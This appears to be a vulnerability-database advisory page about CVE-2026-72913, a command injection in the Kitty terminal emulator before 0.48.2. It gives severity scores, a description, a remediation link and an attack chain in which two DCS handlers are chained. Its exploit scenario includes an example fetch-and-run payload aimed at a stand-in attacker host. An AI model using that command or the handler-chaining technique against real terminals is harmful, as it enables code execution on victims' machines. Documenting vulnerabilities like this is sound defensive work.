Skip to main content

Kitty Terminal CVE-2026-72913

| EUVDEUVD-2026-55835 HIGH
Command Injection (CWE-77)
2026-08-10 security-advisories@github.com
Command Injection Red Hat Suse
7.3
CVSS 4.0 · Vendor: github
Share

Severity by source

Vendor (github) PRIMARY
7.3 HIGH
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.8 HIGH

Local vector because exploit requires Kitty running on the victim's system; no attacker privileges needed; user must display the malicious content (UI:R); full CIA impact from arbitrary command execution.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative
Red Hat
7.8 HIGH
qualitative

Primary rating from Vendor (github).

CVSS VectorVendor: github

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

4
Patch available
Aug 10, 2026 - 22:04 EUVD
Source Code Evidence Fetched
Aug 10, 2026 - 21:37 vuln.today
Analysis Generated
Aug 10, 2026 - 21:37 vuln.today
CVE Published
Aug 10, 2026 - 21:17 cve.org
HIGH 7.3

DescriptionCVE.org

Kitty is a cross-platform GPU based terminal. Prior to 0.48.2, the @kitty-echo and @kitty-ssh DCS handlers in kitty/window.py write unauthenticated data to the child shell's stdin, where handle_remote_echo accepts printable shell command characters and handle_remote_ssh calls get_ssh_data in kittens/ssh/utils.py, which emits a newline; chaining the handlers can execute attacker-controlled commands when a user displays untrusted terminal data. This issue is fixed in version 0.48.2.

AnalysisAI

Command injection in Kitty terminal emulator prior to v0.48.2 allows arbitrary shell command execution when a user views attacker-controlled terminal output. The @kitty-echo DCS handler writes printable shell command characters directly to the child shell's stdin without sanitization, while the @kitty-ssh handler emits a newline via get_ssh_data - chaining the two handlers delivers a complete command-plus-newline to the running shell, executing attacker-supplied code as the user. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Embed malicious DCS sequences in attacker-controlled content
Delivery
Deliver content to victim via file, SSH banner, or piped stream
Exploit
Victim displays content in active Kitty terminal window
Execution
@kitty-echo handler writes shell command characters to shell stdin
Persist
@kitty-ssh handler emits newline, terminating the injected command
Impact
Shell executes attacker-controlled command as the victim user
Sign in to reveal

Vulnerability AssessmentAI

Exploitation The Kitty terminal emulator (version prior to 0.48.2) must be in use as the user's terminal, and the user must display terminal data from an untrusted source - for example, by running cat on an attacker-supplied file, viewing output piped from an external process, or connecting via SSH to an untrusted remote host that sends malicious terminal sequences. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 7.3 with vector AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H accurately captures the key risk shape: high impact triad but constrained by the requirement for passive user interaction (UI:P) and a specific attack condition (AT:P - user must display untrusted terminal data in a running Kitty session). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker embeds crafted DCS escape sequences - a @kitty-echo payload containing a shell command (e.g., curl attacker.com/payload | sh) followed by a @kitty-ssh sequence that supplies the terminating newline - into a file, log stream, or SSH banner. When the victim views that content in their Kitty terminal (e.g., cat malicious.log, or connects to an attacker-controlled SSH host), the two handlers fire in sequence, writing the command and its newline to the active shell's stdin, silently executing the payload as the user.
Remediation The primary fix is to upgrade Kitty to version 0.48.2, available at https://github.com/kovidgoyal/kitty/releases/tag/v0.48.2 and documented in the changelog at https://sw.kovidgoyal.net/kitty/changelog/#id1. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, inventory all systems running Kitty terminal emulator and document current versions; notify all affected technical staff of the vulnerability and patching requirement. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Same weakness CWE-77 – Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2015-2051 HIGH POC
8.8
CVE-2017-6327 HIGH POC
8.8
CVE-2023-34960 CRITICAL POC
9.8
CVE-2023-37679 CRITICAL POC
9.8

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Vendor StatusVendor

SUSE

Severity: Moderate

Share

CVE-2026-72913 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy